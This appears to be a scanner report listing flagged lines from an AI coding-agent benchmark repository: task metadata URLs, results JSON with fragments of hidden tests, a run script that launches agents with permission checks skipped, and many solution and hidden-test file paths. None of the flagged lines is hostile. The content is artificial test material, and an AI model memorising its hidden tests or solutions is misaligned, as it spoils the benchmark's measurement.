], "source": { "upstream": "https://github.com/more-itertools/more-itertools", - Network accessline 33
"source": { "upstream": "https://github.com/more-itertools/more-itertools", "license": "MIT", - Network accessline 34
"upstream": "https://github.com/more-itertools/more-itertools", - Network accessline 35
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/more-itertools/more-itertools/issues/1250", - Network accessline 36
"license_file": "LICENSE", "issue": "https://github.com/more-itertools/more-itertools/issues/1250", "fix_pr": "https://github.com/more-itertools/more-itertools/pull/1251", - Network accessline 37
"issue": "https://github.com/more-itertools/more-itertools/issues/1250", - Network accessline 38
"fix_pr": "https://github.com/more-itertools/more-itertools/pull/1251",
benchmarks/h2h/replay/py-moreit-value-chain/task.txt
- Network accessline 34
[`more.py` L4416](https://github.com/more-itertools/more-itertools/blob/bc8be10/more_itertools/more.py#L4416):
benchmarks/h2h/replay/py-parse-tz-groups/meta.json
- Network accessline 32
], "source": { "upstream": "https://github.com/r1chardj0n3s/parse", - Network accessline 33
"source": { "upstream": "https://github.com/r1chardj0n3s/parse", "license": "MIT", - Network accessline 34
"upstream": "https://github.com/r1chardj0n3s/parse", - Network accessline 35
"license": "MIT", "license_file": "LICENSE", "issue": "https://github.com/r1chardj0n3s/parse/issues/262", - Network accessline 36
"license_file": "LICENSE", "issue": "https://github.com/r1chardj0n3s/parse/issues/262", "fix_pr": "https://github.com/r1chardj0n3s/parse/pull/263", - Network accessline 37
"issue": "https://github.com/r1chardj0n3s/parse/issues/262", - Network accessline 38
"fix_pr": "https://github.com/r1chardj0n3s/parse/pull/263",
benchmarks/h2h/replay/py-toolz-partition-len/meta.json
- Network accessline 35
], "source": { "upstream": "https://github.com/pytoolz/toolz", - Network accessline 36
"source": { "upstream": "https://github.com/pytoolz/toolz", "license": "BSD-3-Clause", - Network accessline 37
"upstream": "https://github.com/pytoolz/toolz", - Network accessline 38
"license": "BSD-3-Clause", "license_file": "LICENSE.txt", "issue": "https://github.com/pytoolz/toolz/issues/602", - Network accessline 39
"license_file": "LICENSE.txt", "issue": "https://github.com/pytoolz/toolz/issues/602", "fix_pr": "https://github.com/pytoolz/toolz/pull/603", - Network accessline 40
"issue": "https://github.com/pytoolz/toolz/issues/602", - Network accessline 41
"fix_pr": "https://github.com/pytoolz/toolz/pull/603",
benchmarks/h2h/replay/py-toolz-partition-len/task.txt
- Network accessline 5
I have a long-running process where I use [tqdm](https://tqdm.github.io) to display a progress bar. It works through an unknown number of items, but, at the start, I can estimate the total number, even though it might be slightly off. So I - Network accessline 28
Here’s the shortcut code that causes the problem by relying on `__len__`: https://github.com/pytoolz/toolz/blob/08f2604f599847272d801c7f0467451de59fa33a/toolz/itertoolz.py#L731-L736
benchmarks/h2h/results/2026-11-01-2100eda48-replay.json
- Network accessline 696
"hidden_leaked_before_scoring": [], "scored_branch": null, "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad - Network accessline 697
"scored_branch": null, "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad/bench-lead-2/paidtmp/loki-h2h.d27jno8i/lo - Network accessline 698
"hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad/bench-lead-2/paidtmp/loki-h2h.d27jno8i/loki-haiku.py-boltons-research- - Network accessline 1585
"hidden_leaked_before_scoring": [], "scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_a - Network accessline 1586
"scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regressi - Network accessline 1587
"hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regression test: https://github.com/p - Network accessline 1618
"hidden_leaked_before_scoring": [], "scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_a - Network accessline 1619
"scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regressi - Network accessline 1620
"hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regression test: https://github.com/p - Network accessline 1651
"hidden_leaked_before_scoring": [], "scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_a - Network accessline 1652
"scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regressi - Network accessline 1653
"hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regression test: https://github.com/p - Network accessline 1684
"hidden_leaked_before_scoring": [], "scored_branch": "loki/e10-20261101T210809Z-65a9", "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n - Network accessline 1685
"scored_branch": "loki/e10-20261101T210809Z-65a9", "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == - Network accessline 1686
"hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regression test: https://github.com/p - Network accessline 2271
"hidden_leaked_before_scoring": [], "scored_branch": null, "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad - Network accessline 2272
"scored_branch": null, "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad/bench-lead-2/paidtmp/loki-h2h.d27jno8i/lo - Network accessline 2273
"hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad/bench-lead-2/paidtmp/loki-h2h.d27jno8i/loki-haiku.py-boltons-research- - Network accessline 3159
"hidden_leaked_before_scoring": [], "scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_a - Network accessline 3160
"scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regressi - Network accessline 3161
"hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regression test: https://github.com/p - Network accessline 3192
"hidden_leaked_before_scoring": [], "scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_a - Network accessline 3193
"scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regressi - Network accessline 3194
"hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regression test: https://github.com/p - Network accessline 3225
"hidden_leaked_before_scoring": [], "scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_a - Network accessline 3226
"scored_branch": null, "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regressi - Network accessline 3227
"hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regression test: https://github.com/p - Network accessline 3258
"hidden_leaked_before_scoring": [], "scored_branch": "loki/e10-20261101T211304Z-cb89", "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n - Network accessline 3259
"scored_branch": "loki/e10-20261101T211304Z-cb89", "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == - Network accessline 3260
"hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n assert list(partition_all(2, [])) == []\n \n # Regression test: https://github.com/p
benchmarks/h2h/results/2026-11-01-e13f3dd72-hard.json
- Network accessline 3931
"test_weakened": [], "accepted": 0, "test_diff": "diff --git a/tests/dialects/test_postgres.py b/tests/dialects/test_postgres.py\nindex e218005..e2c19d9 100644\n--- a/tests/dialects/test_postgres.py\n+++ b/tests/dialects/test_po - Network accessline 3932
"accepted": 0, "test_diff": "diff --git a/tests/dialects/test_postgres.py b/tests/dialects/test_postgres.py\nindex e218005..e2c19d9 100644\n--- a/tests/dialects/test_postgres.py\n+++ b/tests/dialects/test_postgres.py\n@@ -1746,6 +1746 - Network accessline 3933
"test_diff": "diff --git a/tests/dialects/test_postgres.py b/tests/dialects/test_postgres.py\nindex e218005..e2c19d9 100644\n--- a/tests/dialects/test_postgres.py\n+++ b/tests/dialects/test_postgres.py\n@@ -1746,6 +1746,7 @@ FROM json_data,
benchmarks/h2h/run.sh
- Executable scriptline 1
#!/usr/bin/env bash - Instruction override signalline 13
# # Configs: raw-haiku, raw-sonnet, raw-opus (`command claude -p <task> --model M --output-format json # --dangerously-skip-permissions`), raw-<model>-verify (the same, with one sentence appended asking - Instruction override signalline 14
# Configs: raw-haiku, raw-sonnet, raw-opus (`command claude -p <task> --model M --output-format json # --dangerously-skip-permissions`), raw-<model>-verify (the same, with one sentence appended asking # it to run the repo's tests and check - Instruction override signalline 15
# --dangerously-skip-permissions`), raw-<model>-verify (the same, with one sentence appended asking
benchmarks/h2h/sequences/go-cli-commands/repo/cli/add.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/repo/cli/cli.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/repo/notes/store.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/repo/tests/visible_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/steps/s1/hidden/list_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/steps/s1/solution/cli/list.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/steps/s2/hidden/done_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/steps/s2/solution/cli/done.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/steps/s3/hidden/remove_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/help.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/remove.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/repo/mathx/mathx.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/repo/mathx/registry.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/repo/tests/conventions_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/repo/tests/mathx_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s1/hidden/gcd_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/mathx.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/registry.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s2/hidden/lcm_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/mathx.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/registry.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s3/hidden/prime_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/mathx.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/registry.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s4/hidden/pow_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/mathx.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/registry.go
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/repo/reports/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/text_exporter.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/repo/reports/summary.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/repo/tests/test_reports.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/steps/s1/hidden/test_csv_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/steps/s1/solution/reports/exporters/csv_exporter.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/steps/s2/hidden/test_json_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/steps/s2/solution/reports/exporters/json_exporter.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/steps/s3/hidden/test_markdown_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/markdown_exporter.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_conventions.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_transforms.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/transforms.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/hidden/test_truncate_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/solution/textkit/transforms.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/hidden/test_snake_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/solution/textkit/transforms.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/hidden/test_accents_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/solution/textkit/transforms.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/hidden/test_wrap_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/solution/textkit/transforms.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/repo/tests/test_conventions.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/repo/tests/test_converters.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/repo/units/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/repo/units/converters.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/repo/units/registry.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s1/hidden/test_celsius_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/converters.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/registry.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s2/hidden/test_km_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/converters.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/registry.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s3/hidden/test_kg_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/converters.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/registry.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s4/hidden/test_liters_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/converters.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/registry.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/repo/forms/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/repo/forms/errors.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/repo/forms/validators.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/repo/tests/test_validators.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/steps/s1/hidden/test_email_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/steps/s1/solution/forms/validators.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/steps/s2/hidden/test_phone_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/steps/s2/solution/forms/validators.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/steps/s3/hidden/test_form_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/py-validators/steps/s3/solution/forms/validators.py
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/repo/package.json
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/repo/src/catalog.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/repo/src/format.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/repo/src/guard.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/repo/test/conventions.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/repo/test/format.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s1/hidden/duration.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/catalog.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/format.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s2/hidden/ordinal.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/catalog.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/format.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s3/hidden/compact.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/catalog.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/format.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s4/hidden/currency.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/catalog.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/format.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/repo/package.json
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/repo/src/cart.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/repo/src/pricing.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/bulkDiscount.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/types.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/repo/test/pricing.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/hidden/percentOff.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/steps/s1/solution/src/rules/percentOff.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/hidden/buyXGetY.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/steps/s2/solution/src/rules/buyXGetY.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/hidden/registry.hidden.test.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/index.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/threshold.ts
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-bank-transfer/hidden/h2h_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-bank-transfer/repo/account/account.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-bank-transfer/repo/ledger/ledger.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-bank-transfer/repo/tests/visible_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-bank-transfer/solution/account/account.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-bank-transfer/solution/ledger/ledger.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/hidden/h2h_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/repo/config/env.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/repo/config/file.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/repo/config/merge.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/repo/server/server.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/repo/tests/visible_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/solution/config/env.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/solution/config/file.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-config-merge/solution/config/merge.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-ratelimit/hidden/h2h_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-ratelimit/repo/ratelimit/window.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-ratelimit/repo/tests/visible_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-ratelimit/solution/ratelimit/bucket.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-store-refactor/hidden/h2h_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-store-refactor/repo/notes/format.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-store-refactor/repo/notes/handlers.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-store-refactor/repo/notes/store.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-store-refactor/repo/tests/visible_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-store-refactor/solution/notes/handlers.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-store-refactor/solution/notes/store.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-topo-schedule/hidden/h2h_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-topo-schedule/repo/sched/graph.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-topo-schedule/repo/tests/visible_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-topo-schedule/solution/sched/plan.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-wordfreq-tokenize/hidden/h2h_hidden_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/tests/visible_test.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/count.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/tokenize.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/count.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/tokenize.go
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-cache-ttl/hidden/test_cache_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/cache.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-cache-ttl/repo/tests/test_cache.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-cache-ttl/solution/cachelib/cache.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-csv-quotes/hidden/test_parser_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/parser.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-csv-quotes/repo/tests/test_parser.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-csv-quotes/solution/csvlite/parser.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-invoice-rounding/hidden/test_invoice_hidden.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/__init__.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/invoice.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/money.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-invoice-rounding/repo/billing/tax.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-invoice-rounding/repo/tests/test_invoice.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-invoice-rounding/solution/billing/money.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-invoice-rounding/solution/billing/tax.py
- Executable scriptline 1
Executable file
benchmarks/h2h/tasks/py-retry-decorator/hidden/test_retry_hidden.py
- Executable scriptline 1
Executable file - Network accessline 133
assert fetch_json("http://x", flaky, sleep=sleep) == {"n": 1} - Network accessline 145
with pytest.raises(TransientError): fetch_json("http://x", down, sleep=sleep) - Network accessline 146
